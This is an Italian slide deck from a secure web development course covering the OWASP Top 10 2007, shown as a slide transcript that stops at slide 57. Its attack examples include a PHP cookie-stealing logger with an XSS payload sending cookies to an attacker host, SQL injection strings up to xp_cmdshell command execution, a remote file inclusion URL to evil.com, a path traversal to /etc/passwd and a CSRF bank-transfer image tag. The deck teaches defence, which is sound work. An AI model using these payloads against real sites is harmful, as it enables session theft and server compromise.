Sviluppo sicuro di Applicazioni WEB (Parte 3)
  Last….. TOP 10 Vulnerabilities
Cos ’ è OWASP Top 10 2007   OWASP Top 10 2007 è un progetto basato sulla classificazione delle 10 vulnerabilità maggiormen...
  Statistiche IBM
  Statistiche IBM
  Statistiche IBM
Cos ’ è OWASP Top 10 2007   Distribuzione delle tipologie di attacchi
Cos ’ è OWASP Top 10 2007   A1 - Cross Site Scripting (XSS) A2 - Injection Flaws A3 - Malicious File Execution A4 - Insecu...
Top 10 2007 in dettaglio 1/10   Cross Site Scripting (XSS) Una vulnerabilità Cross Site Scripting (XSS) si verifica quando...
  Cross Site Scripting (XSS) <ul><li>Ricorre spessissimo... </li></ul><ul><ul><li>Contenuti non validati inviati ad un ute...
  Top 10 2007 in dettaglio 1/10
  Top 10 2007 in dettaglio 1/10 <?php
  $filename = &quot;cookie.txt&quot;;
  if (isset($_GET[&quot;cookie&quot;]))
  {
  ...
  Top 10 2007 in dettaglio 1/10 <a href= “ http://www.my-banca.it/welcome.cgi?name=<script>window.open ( “ http://www.atta...
  <ul><li>XSS e gli impatti </li></ul><ul><li>Un attaccante può… </li></ul><ul><ul><li>Rubare le credenziali degli utenti ...
  <ul><li>Un caso reale: </li></ul><ul><li>PayPal è stato obiettivo di alcuni attaccanti, i quali riuscirono a dirottare i...
  C Esempio di Cross Site Scripting Top 10 2007 in dettaglio 1/10
  Injection Flaws Le Injection Flaws sono vulnerabilità relative all ’ invio, da parte di un agente di minaccia, di input ...
  <ul><li>SQL Injection – Esempio </li></ul><ul><li>Esempio: </li></ul><ul><ul><li>Selezionare le righe di una tabella in ...
  SQL Injection – Analisi Tabelle Username = ' having1=1 --  Password = pippo  Select userName from users where userName= ...
  SQL Injection – Analisi colonne Username = ' UNION SELECT * FROM users GROUP BY userName-- Password = pippo  Select user...
  SQL Injection – Inserimento Dati Username = '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Pass...
  SQL Injection – Utilizzo di Macro Username = ' union select @@version – Password = pippo  Select userName from users whe...
  SQL Injection – Esecuzione di Comandi Username: ' execmaster..xp-cmdshell 'dir > c:inetpubwwwrootblah.txt'-- Password: p...
  SQL Injection – Esempio Top 10 2007 in dettaglio 2/10
  <ul><li>SQL Injection e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di… </li></ul><ul><ul><li>Avere ...
  <ul><li>Un caso reale: </li></ul><ul><li>Nel Gennaio del 2006 alcuni hackers russi riuscirono a bucare il sito web del g...
  Esempio di SQL Injection Top 10 2007 in dettaglio 2/10
  <ul><li>Malicious File Execution </li></ul><ul><li>Applicazioni vulnerabili consentono l ’ upload di file contenente cod...
  <ul><li>Malicious File Execution e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di: </li></ul><ul><ul...
  <ul><li>Un caso reale: </li></ul><ul><li>Nel 2002 un programmatore aveva scoperto che il sito Guess.com era vulnerabile ...
  Esempio di Malicius File Execution Top 10 2007 in dettaglio 3/10
  Insecure Direct Object Reference Un ’ Insecure Direct Object Reference si verifica quando nell ’ applicazione sono prese...
  <ul><li>Insecure Direct Object Reference </li></ul><ul><li>Direct Object Reference </li></ul><ul><ul><li>Spesso i progra...
  <ul><li>Insecure Direct Object Reference e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di: </li></ul...
  <ul><li>Un caso reale: </li></ul><ul><li>Nel 2000, un ufficio delle tasse australiano era stato compromesso da un utente...
  Esempio di Insecure Direct Object Reference  Top 10 2007 in dettaglio 4/10
  Cross Site Request Forgery (CSRF) Un attacco di tipo Cross Site Request Forgery è mirato  a forzare il Browser di una vi...
  <ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Vulnerabilità diffusissima ed avviene quando: </li></ul><ul>...
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 1/3 Top 10 2007 in dettaglio 5/10
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 2/3 Top 10 2007 in dettaglio 5/10
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 3/3 Top 10 2007 in dettaglio 5/10
  Supponiamo che l'utente Alice stia navigando su un forum, o un blog, o stia visualizzando una mail in formato HTML dove ...
  <ul><li>CSRF e Autenticazione </li></ul><ul><li>Meccanismo dei Cookie: </li></ul><ul><ul><li>La vittima V si collega al ...
  <ul><li>Cross Site Request Forgery (CSRF) e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul...
  <ul><li>Un caso reale: </li></ul><ul><li>Alla fine del 2005, un hacker (aka  “ Samy ” ) era riuscito a stabilire più di ...
  <ul><li>Come proteggere gli utenti: </li></ul><ul><li>Chiudere con logout una sessione importante (non basta chiudere la...
  Esempio di Cross Site Request Forgery (CSRF)  Top 10 2007 in dettaglio 5/10
  Information Leakage and Improper Error Handling Information Leakage e Improper Error Handling si verificano spesso in pr...
  <ul><li>Information Leakage and Improper Error Handling </li></ul><ul><li>Le applicazioni spesso visualizzano errori </l...
  Information Leakage and Improper Error Handling Top 10 2007 in dettaglio 6/10
  <ul><li>Improper Error Handling e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Bypas...
  <ul><li>Un caso reale: </li></ul><ul><li>L'information leakage va ben oltre la gestione degli errori, arrivando anche a ...
  Esempio di Information Leakage e Improper Error Hendling Top 10 2007 in dettaglio 6/10
  Broken Authentication and Session Management Broken Authentication e Session Management sono vulnerabilità riconducibili...
  <ul><li>Broken Authentication and Session Management </li></ul><ul><li>HTTP is  “ stateless ”  protocol... </li></ul><ul...
  Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  <ul><li>Broken Authentication and Session Management </li></ul><ul><li>Un Attaccante è in grado di: </li></ul><ul><ul><l...
  <ul><li>Un caso reale: </li></ul><ul><li>Nel 2002, Microsoft aveva eliminato una vulnerabilità in Hotmail che poteva ess...
  Esempio di Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  Insecure Cryptographic Storage L ’ Insecure Cryptographic Storage è una vulnerabilità causata dalla non corretta conserv...
  <ul><li>Insecure Cryptographic Storage </li></ul><ul><li>Salvare dati sensibili in modo insicuro </li></ul><ul><ul><li>I...
  Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  <ul><li>Insecure Cryptographic Storage e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><l...
  <ul><li>Un caso reale: </li></ul><ul><li>Una falla di sicurezza nei sistemi della TJX aveva portato alla divulgazione di...
  Esempio di Insecure Cryptographic Storage   Top 10 2007 in dettaglio 8/10
  Insecure Communications Le Insecure Communications consentono ad un agente di minaccia di intercettare informazioni come...
  <ul><li>Insecure Communications </li></ul><ul><li>Protocollo HTTP in chiaro </li></ul><ul><ul><li>Può essere intercettat...
  <ul><li>Un caso reale: </li></ul><ul><li>Ancora TJX. Un'indagine avevano portato alla conclusione che alcuni hackers ave...
  Esempio di Insecure Communications Top 10 2007 in dettaglio 9/10
  Failure to Restrict URL Access Si verifica quando per proteggere aree di una web application non visibili ad utenti non ...
  <ul><li>Failure to Restrict URL Access </li></ul><ul><li>Controllare ciò che gli utenti possono fare: </li></ul><ul><ul>...
  Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  <ul><li>Failure to Restrict URL Access </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Accedere a r...
  <ul><li>Un caso reale: </li></ul><ul><li>Una falla nel sito web della MacWorld Conference aveva permesso agli utenti di ...
  Esempio di Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
Domande?   Grazie per l ’ attenzione  Claudio Di Giovanni [email_address]
Próximos SlideShares
Carregando em…5
×

Owasp parte3

2.292 visualizações

Publicada em

  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Owasp parte3

  1. 1. Sviluppo sicuro di Applicazioni WEB (Parte 3)
  2. 2. Last….. TOP 10 Vulnerabilities
  3. 3. Cos ’ è OWASP Top 10 2007 OWASP Top 10 2007 è un progetto basato sulla classificazione delle 10 vulnerabilità maggiormente critiche estratte dal MITRE (MITRE Corporation not-for-profit organization) Vulnerability Trends 2006, nell ’ ambito delle Web Application. L ’ obiettivo principale è quello di sensibilizzare il mondo dell ’ IT (e non solo) sulle conseguenze che queste vulnerabilità possono avere sul business aziendale, sulla propria privacy e su quella degli altri.
  4. 4. Statistiche IBM
  5. 5. Statistiche IBM
  6. 6. Statistiche IBM
  7. 7. Cos ’ è OWASP Top 10 2007 Distribuzione delle tipologie di attacchi
  8. 8. Cos ’ è OWASP Top 10 2007 A1 - Cross Site Scripting (XSS) A2 - Injection Flaws A3 - Malicious File Execution A4 - Insecure Direct Object Reference A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage / Improper Error Handling A7 - Broken Authentication and Session Management A8 - Insecure Cryptographic Storage A9 - Insecure Communications A10 - Failure to Restrict URL Access
  9. 9. Top 10 2007 in dettaglio 1/10 Cross Site Scripting (XSS) Una vulnerabilità Cross Site Scripting (XSS) si verifica quando un ’ applicazione riceve dati forniti dall ’ utente senza effettuare alcun tipo di validazione del contenuto; nel restituire tali dati all'utente essi vengono interpretati dal browser consentendo l ’ esecuzione di codice malevolo lato client.
  10. 10. Cross Site Scripting (XSS) <ul><li>Ricorre spessissimo... </li></ul><ul><ul><li>Contenuti non validati inviati ad un utente </li></ul></ul><ul><li>Contenuti non validati… </li></ul><ul><ul><li>Che possono provenire da un database </li></ul></ul><ul><ul><li>Web input Riflessi (form field, hidden field, url, etc…) </li></ul></ul><ul><ul><li>Contenuti che vengono interpretati dal client come codice che deve essere eseguito (es. <script>) </li></ul></ul><ul><li>Virtualmente ogni web application è vulnerabile </li></ul><ul><ul><li>PDF Universal Cross Site Scripting (prima delle patch) </li></ul></ul>Top 10 2007 in dettaglio 1/10
  11. 11. Top 10 2007 in dettaglio 1/10
  12. 12. Top 10 2007 in dettaglio 1/10 <?php
  $filename = &quot;cookie.txt&quot;;
  if (isset($_GET[&quot;cookie&quot;]))
  {
    if (!$handle = fopen($filename, 'a'))
    {
      echo &quot;Errore: impossibile scrivere il file&quot;;
      exit;
    }
    else
    {
      if (fwrite($handle, &quot;rn&quot; . $_GET[&quot;cookie&quot;]) === FALSE)
      {
        echo &quot;Errore durante la scrittura&quot;;
        exit;
      }
    }
    echo &quot;Scrittura effettuata con successo =D&quot;; 
    fclose($handle);
    exit;
  }
  echo &quot;Niente da scrivere&quot;;
  exit;
  ?> //PS. mi scuso con l'autore dello script se non cito la 
           fonte ma non ricordo proprio dove l'ho preso :S Immaginate che l ’ attaccante inietti in un forum qualcosa del tipo: Ciao <script>document.location= www.nostrosito.com/log.php?cookie='+escape(document.cookie) </script> La vittima visita la pagina  si creerebbe www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l'xss.</script> Considerate qualcosa del tipo:
  13. 13. Top 10 2007 in dettaglio 1/10 <a href= “ http://www.my-banca.it/welcome.cgi?name=<script>window.open ( “ http://www.attacker. site/collect.cgi?cookie= ” %2Bdocument.cookie)</script> ” > Ciao </a> Malicious Link: pensate di inviare alla vittima una mail - magari mascherata come informativa della banca - con un link del tipo: La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script> window.open( “ http://www.attacker.site/collect.cgi?cookie= ” +do cument.cookie)</script> <BR>Welcome to our system </HTML> Notare la pericolosità: la vittima si collega al sito della sua banca………..
  14. 14. <ul><li>XSS e gli impatti </li></ul><ul><li>Un attaccante può… </li></ul><ul><ul><li>Rubare le credenziali degli utenti </li></ul></ul><ul><ul><li>Effettuare un defacement delle pagine visualizzate </li></ul></ul><ul><ul><li>Monitorare le richieste dell ’ utente </li></ul></ul><ul><ul><li>Controllare totalmente il browser della vittima </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>Perdita economica </li></ul></ul><ul><ul><li>Perdita di fiducia da parte degli utenti </li></ul></ul><ul><ul><li>ATTENZIONE: La chiusura di un tab non equivale alla chiusura della sessione!!!!!! </li></ul></ul>Top 10 2007 in dettaglio 1/10
  15. 15. <ul><li>Un caso reale: </li></ul><ul><li>PayPal è stato obiettivo di alcuni attaccanti, i quali riuscirono a dirottare i visitatori verso una pagina che avvertiva gli utenti che i loro account erano stati compromessi (phishing). PayPal ha dichiarato di aver corretto la vulnerabilità nel Giugno del 2006. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Bonificare gli input, magari utilizzando routine centralizzate. </li></ul>Top 10 2007 in dettaglio 1/10
  16. 16. C Esempio di Cross Site Scripting Top 10 2007 in dettaglio 1/10
  17. 17. Injection Flaws Le Injection Flaws sono vulnerabilità relative all ’ invio, da parte di un agente di minaccia, di input non validato, ad un interprete come comandi di sistema o query SQL. Top 10 2007 in dettaglio 2/10
  18. 18. <ul><li>SQL Injection – Esempio </li></ul><ul><li>Esempio: </li></ul><ul><ul><li>Selezionare le righe di una tabella in base all ’ input inviato da un utente </li></ul></ul><ul><ul><li>&quot;SELECT * FROM USERS WHERE SN= ‘ &quot; + sn + “ ’ ” </li></ul></ul><ul><li>SN dalla Web App arriva al DB </li></ul><ul><ul><li>Il parametro non viene validato </li></ul></ul><ul><ul><li>L ’ attaccante invia 123456789 ’ OR ‘ 1 ’ = ‘ 1 </li></ul></ul><ul><li>L ’ applicazione costruisce la seguente query </li></ul><ul><ul><li>SELECT * FROM USERS WHERE SN= ‘ 123456789 ’ OR ‘ 1 ’ = ‘ 1 ’ </li></ul></ul><ul><ul><li>Tutti gli utenti nel DB vengono visualizzati </li></ul></ul>Top 10 2007 in dettaglio 2/10
  19. 19. SQL Injection – Analisi Tabelle Username = ' having1=1 -- Password = pippo Select userName from users where userName= ‘’ HAVING 1=1 -- Nel caso specifico la keyword having genera un errore avente al suo interno il nome della colonna. Error Type: Microsoft OLE DB ProviderforSQL Server (0x80040E14) Column'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10
  20. 20. SQL Injection – Analisi colonne Username = ' UNION SELECT * FROM users GROUP BY userName-- Password = pippo Select userName from users where userName= ‘ ' UNION SELECT * FROM users GROUP BY userName– Utilizzando la keyword groupby è invece possibile ricavare i nomi dei campi della tabella. Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column'users.userId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10
  21. 21. SQL Injection – Inserimento Dati Username = '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Password = pippo Select userName from users where userName= ‘ '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Top 10 2007 in dettaglio 2/10
  22. 22. SQL Injection – Utilizzo di Macro Username = ' union select @@version – Password = pippo Select userName from users where userName= ‘ ' union select @@version – Logged In As Microsoft SQL Server 2000 -8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build2195: Service Pack 4) ' or 1 in (SELECT @@servername FROM users) -- Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the nvarchar valu e'SERVER2000' to a column of data type int. Top 10 2007 in dettaglio 2/10
  23. 23. SQL Injection – Esecuzione di Comandi Username: ' execmaster..xp-cmdshell 'dir > c:inetpubwwwrootblah.txt'-- Password: pippo Select userName from users where userName= ‘ ' execmaster..xp-cmdshell 'dir > c:inetpubwwwrootblah.txt ’ -- Possibilità di eseguire comandi solo nel caso in cui l ’ utente utilizzato per l ’ accesso al database sia sa. Top 10 2007 in dettaglio 2/10
  24. 24. SQL Injection – Esempio Top 10 2007 in dettaglio 2/10
  25. 25. <ul><li>SQL Injection e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di… </li></ul><ul><ul><li>Avere accesso all ’ intero schema del DB </li></ul></ul><ul><ul><li>Rubare, modificare, e cancellare i contenuti </li></ul></ul><ul><ul><li>Bloccare l ’ accesso a utenti legittimi </li></ul></ul><ul><ul><li>Eseguire comandi di sistema sul server DB </li></ul></ul><ul><ul><li>Entrare in possesso di informazioni riservate </li></ul></ul><ul><li>Conseguenze (attacchi riusciti): </li></ul><ul><ul><li>Wall Street Journal </li></ul></ul><ul><ul><li>Guess Jeans </li></ul></ul>Top 10 2007 in dettaglio 2/10
  26. 26. <ul><li>Un caso reale: </li></ul><ul><li>Nel Gennaio del 2006 alcuni hackers russi riuscirono a bucare il sito web del governo di Rhode Island rubando i dati relativi alle carte di credito. Gli hackers affermarono di aver sfruttato una falla di tipo SQL Injection per rubare 53.000 numeri di carte di credito, anche se il fornitore del servizio di hosting affermò che i numeri di carte di credito rubate erano solo 4.113. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Evitare, se possibile, di usare gli interpreti. Come riporta il sito OWASP: “ Se dovete invocare un interprete, il metodo chiave per evitare qualsiasi injection è usare delle API sicure, come le query parametrizzate fortemente tipizzate, e le librerie Object Relational Mapping. ” </li></ul>Top 10 2007 in dettaglio 2/10
  27. 27. Esempio di SQL Injection Top 10 2007 in dettaglio 2/10
  28. 28. <ul><li>Malicious File Execution </li></ul><ul><li>Applicazioni vulnerabili consentono l ’ upload di file contenente codice malevolo lato server in grado di eseguire comandi di sistema e di conseguenza compromettere a livello globale il sistema. </li></ul><ul><li>PHP è il principale target </li></ul><ul><ul><li>Remote File Inclusion è una tipologia di vulnerabilità molto diffusa negli ambienti PHP </li></ul></ul><ul><ul><li>Es. include $_REQUEST[ ‘ open ’ ]; www.sito.com/file.php?open=http://evil.com/shell.php </li></ul></ul>Top 10 2007 in dettaglio 3/10
  29. 29. <ul><li>Malicious File Execution e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di: </li></ul><ul><ul><li>Controllare un server remoto tramite interfaccia web </li></ul></ul><ul><ul><li>Compromettere un sito web da remoto </li></ul></ul><ul><ul><li>Compiere azioni di defacement </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>Possibilità di leggere, scrivere, eseguire file sul disco </li></ul></ul><ul><ul><li>Vulnerabilità su siti web di e-commerce </li></ul></ul>Top 10 2007 in dettaglio 3/10
  30. 30. <ul><li>Un caso reale: </li></ul><ul><li>Nel 2002 un programmatore aveva scoperto che il sito Guess.com era vulnerabile ad un attacco che permetteva di rubare dal database più di 200.000 record contenenti i dati dei clienti, compresi nomi, numeri di carte di credito e date di scadenza. L'anno successivo, in seguito ad un'indagine da parte della Federal Trade Commission, Guess ha effettuato l'aggiornamento del suo sistema di sicurezza. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Non utilizzare l'input fornito dagli utenti come immagini o l'inclusione di script. Impostare delle regole sul firewall per prevenire nuove connessioni verso siti web esterni o verso i sistemi interni. </li></ul>Top 10 2007 in dettaglio 3/10
  31. 31. Esempio di Malicius File Execution Top 10 2007 in dettaglio 3/10
  32. 32. Insecure Direct Object Reference Un ’ Insecure Direct Object Reference si verifica quando nell ’ applicazione sono presenti elementi liberamente manipolabili (file, directory, record database) che consentono di risalire ad ulteriori informazioni che possono portare ad un ’ escalation di privilegi o all ’ acquisizione di dati critici. Top 10 2007 in dettaglio 4/10
  33. 33. <ul><li>Insecure Direct Object Reference </li></ul><ul><li>Direct Object Reference </li></ul><ul><ul><li>Spesso i programmatori espongono file, directory, database record o chiavi nella URL o nei parametri di una richiesta HTTP tramite il metodo POST </li></ul></ul><ul><li>Apertura ad attacchi </li></ul><ul><ul><li>Un attaccante può essere in grado di manipolare il parametro richiedendo altre risorse analoghe </li></ul></ul><ul><li>La path traversal è uno dei problemi frequenti </li></ul><ul><ul><li>Es. www.sito.com/file.php?open=/.. /.. /etc/passwd </li></ul></ul>Top 10 2007 in dettaglio 4/10
  34. 34. <ul><li>Insecure Direct Object Reference e gli impatti </li></ul><ul><li>Un attaccante può essere in grado di: </li></ul><ul><ul><li>Visualizzare dati riservati </li></ul></ul><ul><ul><li>Manipolare parametri </li></ul></ul><ul><ul><li>Conoscere che tipologia di risorse vengono richieste </li></ul></ul><ul><li>Conseguenze </li></ul><ul><ul><li>Accedere in lettura a informazioni confidenziali </li></ul></ul><ul><ul><li>Ex. Tsunami Hacker </li></ul></ul>Top 10 2007 in dettaglio 4/10
  35. 35. <ul><li>Un caso reale: </li></ul><ul><li>Nel 2000, un ufficio delle tasse australiano era stato compromesso da un utente che aveva cambiato il “ tax ID ” presente nell' URL. Ciò ha permesso all ‘ attaccante di accedere ai dettagli di circa 17.000 aziende. L'hacker ha poi contatto via e-mail le 17.000 aziende per avvertirli della falla di sicurezza. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Usare un indice, una mappa per il riferimento indiretto, o qualsiasi altro metodo indiretto, per evitare di esporre un riferimento diretto agli oggetti. Se non potete evitare i riferimenti diretti, è necessario autorizzare e autenticare gli utenti del sito web prima di utilizzare i riferimenti diretti agli oggetti. </li></ul>Top 10 2007 in dettaglio 4/10
  36. 36. Esempio di Insecure Direct Object Reference Top 10 2007 in dettaglio 4/10
  37. 37. Cross Site Request Forgery (CSRF) Un attacco di tipo Cross Site Request Forgery è mirato a forzare il Browser di una vittima ad eseguire operazioni da lui non espressamente richieste sfruttando vulnerabilità applicative come una non corretta implementazione delle sessioni ed un passaggio dei parametri e dei rispettivi valori di una richiesta attraverso l ’ uso del metodo GET. Nota la differenza con XSS: nel csrf è la vittima che viene forzata a compiere un ’ azione, con xss è l ’ attaccante che si impadronisce dell ’ identità della vittima e richiede javascript. Inoltre: xss richiede che un sito accetti malicious code, mentre con CSRF il codice malevole è in un sito di terze parte. Top 10 2007 in dettaglio 5/10
  38. 38. <ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Vulnerabilità diffusissima ed avviene quando: </li></ul><ul><ul><li>L ’ applicazione permette l ’ invio di richieste in modo non autorizzato o di duplicati di richieste già effettuate </li></ul></ul><ul><ul><li>Vengono inviate credenziali note all ’ interno della richiesta </li></ul></ul><ul><ul><li>Utilizzo di autenticazione implicite </li></ul></ul><ul><li>The <IMG> attack </li></ul><ul><ul><li>Un sito Web lancia un exploit all ’ interno del path attraverso il Tag di una immagine. (<IMG> TAG non ha restrizioni a livello di origine) </li></ul></ul>Top 10 2007 in dettaglio 5/10
  39. 39. Anatomia di un attacco Cross Site Request Forgery (CSRF) 1/3 Top 10 2007 in dettaglio 5/10
  40. 40. Anatomia di un attacco Cross Site Request Forgery (CSRF) 2/3 Top 10 2007 in dettaglio 5/10
  41. 41. Anatomia di un attacco Cross Site Request Forgery (CSRF) 3/3 Top 10 2007 in dettaglio 5/10
  42. 42. Supponiamo che l'utente Alice stia navigando su un forum, o un blog, o stia visualizzando una mail in formato HTML dove l'utente Bob ha postato un'immagine malevola così forgiata: <img src=&quot;http://bancadialice.com/prelievo.php?da=conto_alice&a=conto_bob&quot; alt=&quot;Errore nella visualizzazione dell'immagine ” > Top 10 2007 in dettaglio 5/10 Supponiamo ora che Alice sia autenticata in quel momento sul sito della sua banca, quindi sul suo computer sia presente un cookie che testimonia l'avvenuta autenticazione. In tal caso, la richiesta effettuata sarà perfettamente valida, e l'URL in questione eseguito da Alice con ovvie conseguenze. In genere questo tipo di attacchi vengono perpetrati attraverso immagini o iframe &quot;abusivi&quot; nel codice. X
  43. 43. <ul><li>CSRF e Autenticazione </li></ul><ul><li>Meccanismo dei Cookie: </li></ul><ul><ul><li>La vittima V si collega al sito S, viene autenticata ed ottiene il cookie di sessione inviato automaticamente alle successive request </li></ul></ul><ul><ul><li>V si collega ad un sito cattivo C che forza la stessa V tramite img o javascript a fare una richiesta al sito S; ciò comporta il re-invio del cookie che viene riconosciuto come valido…. </li></ul></ul><ul><ul><li>Boom!!!! </li></ul></ul>Top 10 2007 in dettaglio 5/10
  44. 44. <ul><li>Cross Site Request Forgery (CSRF) e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Compiere azioni con i privilegi dell ’ utente che invia l ’ attacco (nel nostro caso richiede l ’ immagine) </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>Possibilità di forzare l ’ utente a compiere azioni non volute, con un ottimo livello di successo nel caso in cui il sito che ospita l ’ attacco sia visitato dalla vittima </li></ul></ul>Top 10 2007 in dettaglio 5/10
  45. 45. <ul><li>Un caso reale: </li></ul><ul><li>Alla fine del 2005, un hacker (aka “ Samy ” ) era riuscito a stabilire più di un milione di contatti “ amici ” su MySpace.com attraverso un worm, il quale in maniera automatica includeva in migliaia di pagine MySpace il messaggio “ Samy is my hero ” . L'attacco in se non era stato così dannoso, ma aveva dimostrato la potenza della combinazione di un attacco cross site scripting con quello di tipo cross site request forgery. Un altro caso venuto alla luce un anno fa aveva dimostrato come una vulnerabilità di Google poteva permettere a siti esterni di cambiare la lingua predefinita dell'utente Google. </li></ul>Top 10 2007 in dettaglio 5/10
  46. 46. <ul><li>Come proteggere gli utenti: </li></ul><ul><li>Chiudere con logout una sessione importante (non basta chiudere la tab) </li></ul><ul><li>Fare in modo che le request di tipo GET non modifichino i dati sul Server </li></ul><ul><li>Fare in modo che le request di tipo POST includano un valore pseudo-random </li></ul><ul><ul><li>Generare il cookie di sessione </li></ul></ul><ul><ul><li>Fare in modo che tale valore sia incluso magari come campo nascosto in ogni form con POST </li></ul></ul><ul><ul><li>Una richiesta viene considerata valida se e sole se il session id del cookie e il valore nella form sono uguali. Un attaccante infatti non [può] leggere i dati inviati dal server o modificare i valore nei cookie. Quindi sebbene l ’ attaccante possa forzare un post con qualsivoglia valore non sarà in grado di modificare/leggere il valore nel cookie </li></ul></ul>Top 10 2007 in dettaglio 5/10
  47. 47. Esempio di Cross Site Request Forgery (CSRF) Top 10 2007 in dettaglio 5/10
  48. 48. Information Leakage and Improper Error Handling Information Leakage e Improper Error Handling si verificano spesso in presenza di Web Application non correttamente sviluppate che consentono l ’ acquisizione d ’ informazioni utilizzabili in un secondo momento da un agente di minaccia per effettuare un attacco mirato all ’ applicazione o al sistema server. Top 10 2007 in dettaglio 6/10
  49. 49. <ul><li>Information Leakage and Improper Error Handling </li></ul><ul><li>Le applicazioni spesso visualizzano errori </li></ul><ul><ul><li>Un attaccante è spesso in grado di studiare una applicazione dai messaggi di errore </li></ul></ul><ul><li>Identificare gli attacchi e gestirli correttamente </li></ul><ul><ul><li>Mai visualizzare lo stack trace </li></ul></ul><ul><ul><li>Ma quali errori sono veramente degli attacchi? </li></ul></ul><ul><li>Molte Web Application sono vulnerabili a questo attacco </li></ul><ul><ul><li>Specialmente quando viene stressato (es. Web Scarab) </li></ul></ul>Top 10 2007 in dettaglio 6/10
  50. 50. Information Leakage and Improper Error Handling Top 10 2007 in dettaglio 6/10
  51. 51. <ul><li>Improper Error Handling e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Bypassare i meccanismi di sicurezza </li></ul></ul><ul><ul><li>Effettuare attacchi DOS </li></ul></ul><ul><ul><li>Acquisire informazioni sull ’ applicazione web </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>In mancanza di detection, un attaccante può continuare finchè non ha successo </li></ul></ul><ul><ul><li>Complica estremamente il processo di tracciabilità dell ’ attaccante </li></ul></ul>Top 10 2007 in dettaglio 6/10
  52. 52. <ul><li>Un caso reale: </li></ul><ul><li>L'information leakage va ben oltre la gestione degli errori, arrivando anche a violazioni dove i dati sensibili sono lasciati completamente in chiaro. La debacle di The ChoicePoint all'inizio del 2005 ne è una dimostrazione. I record di circa 163 mila clienti erano stati compromessi dopo che alcuni criminali finsero di essere dei clienti legittimi di ChoicePoint accedendo alle informazioni personali delle persone presenti nel database della compagnia. ChoicePoint ha successivamente limitato la sue vendite di prodotti informativi contenenti dati sensibili. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Utilizzare dei tool di testing, come il WebScarab, per vedere quali errori genera l ’ applicazione. Come riportata OWASP: “ Le applicazioni che non sono state testate in questo modo quasi sicuramente genereranno degli errori di output inaspettati ” . </li></ul>Top 10 2007 in dettaglio 6/10
  53. 53. Esempio di Information Leakage e Improper Error Hendling Top 10 2007 in dettaglio 6/10
  54. 54. Broken Authentication and Session Management Broken Authentication e Session Management sono vulnerabilità riconducibili ad un ’ errata implementazione della gestione delle credenziali di accesso e/o delle chiavi di sessioni che rendono possibili accessi non autorizzati all ’ applicazione tramite l ’ impersonificazione di altre identità vittima. URL Rewriting Top 10 2007 in dettaglio 7/10
  55. 55. <ul><li>Broken Authentication and Session Management </li></ul><ul><li>HTTP is “ stateless ” protocol... </li></ul><ul><ul><li>Ogni richiesta deve essere autenticata </li></ul></ul><ul><li>Sessione management </li></ul><ul><ul><li>SESSIONID fa il tracking delle credenziali, poiché l ’ HTTP non lo fa </li></ul></ul><ul><ul><li>SESSIONID è l ’ equivalente delle credenziali </li></ul></ul><ul><ul><li>Mai esporre SESSIONID nella rete, nei browser, nei log, etc. </li></ul></ul><ul><li>Beware the side-doors </li></ul>Top 10 2007 in dettaglio 7/10
  56. 56. Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  57. 57. <ul><li>Broken Authentication and Session Management </li></ul><ul><li>Un Attaccante è in grado di: </li></ul><ul><ul><li>Fare ciò che può fare un qualsiasi altro utente utilizzando le sue credenziali </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>Privacy compliance violations </li></ul></ul>Top 10 2007 in dettaglio 7/10
